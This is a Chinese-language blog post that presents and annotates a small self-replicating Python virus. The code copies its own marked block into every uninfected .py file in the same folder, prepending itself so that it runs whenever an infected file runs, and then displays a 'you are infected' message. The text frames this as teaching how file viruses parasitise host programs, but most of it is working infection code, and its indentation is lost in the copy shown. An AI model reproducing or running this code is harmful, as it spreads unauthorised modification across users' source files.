這是一個用Python寫的簡單小病毒
一般的電腦病毒都會複製自己的病毒碼到別的程式裡面寄生,而病毒通常不會改變宿主
程式裡面原本的內容,當被病毒寄生的程式在運行時,就會連帶執行病毒的程式碼,執行病
毒想要的功能。
本篇用Python寫的簡單小病毒裡面,它能夠感染同資料夾內的所有.py檔案,在原有
的.py檔案裡面從開頭插入自己的病毒碼,並顯示"你中毒了!"
這個病毒是專門寫在Windows作業系統裡面。
*********************以下為病毒碼內容*****************
#!/usr/bin/env python #<-這行是告訴unix類作業系統,這個程式調用usr/bin下面的
#python檔案解譯此程式,windows的話不用管它
##### VIRUS BEGIN ##### #<-病毒碼開始的標誌。
import sys,glob,re,os
#複製病毒自身的程式碼 #<-為了要插入自己的程式碼到別人那邊,病毒要打開自己
#的檔案並複製下自己的程式碼。
vCode = [] #<-儲存病毒碼的串列
fh = open(sys.argv[0],"r",encoding='utf-8-sig') #<-自己開啟自己的檔案,
#sys.argv[0]表示自己的path。
#用utf-8-sig的方式解碼檔案(python原始檔的編碼方式就是用utf-8,一般中文版
#windows記事本通常用cp950,包含在ansi架構下)
lines = fh.readlines() #<-逐行讀取,回傳一個串列,串列中每個元素是一行文字
fh.close()
inVirus = False
for line in lines: #<-這個迴圈會把病毒碼的部分存到vCode串列裡
result = re.search('^##### VIRUS BEGIN #####',line)
if (result != None):
inVirus = True
if (inVirus):
vCode.append(line)
result2 = re.search('^##### VIRUS END #####',line)
if (result2 != None):
break
#<-從Virus Begin到Virus End是程式標示病毒碼的部分
#尋找可感染的目標
progs = glob.glob("*.py") #<-把所有同資料夾內.py檔的路徑存到progs串列內
#檢查目標是否已經被感染,若尚未被感染才會插入自己的病毒碼
for prog in progs:
fh = open(prog,"r",encoding='utf-8-sig')
pCode = fh.readlines()
fh.close()
infected = False
for line in pCode:
if ('##### VIRUS BEGIN #####' in line):
infected = True
break
if not infected:
newCode = []
newCode.extend(vCode)
newCode.extend(pCode)
#Writing new virus infected code
fh = open(prog,'w',encoding='utf-8-sig')
fh.writelines(newCode)
fh.close()
#病毒發作的程式碼(Payload)
x=input('你中毒了!\n請按任意鍵繼續')
##### VIRUS END #####
********************結束**********************
留言列表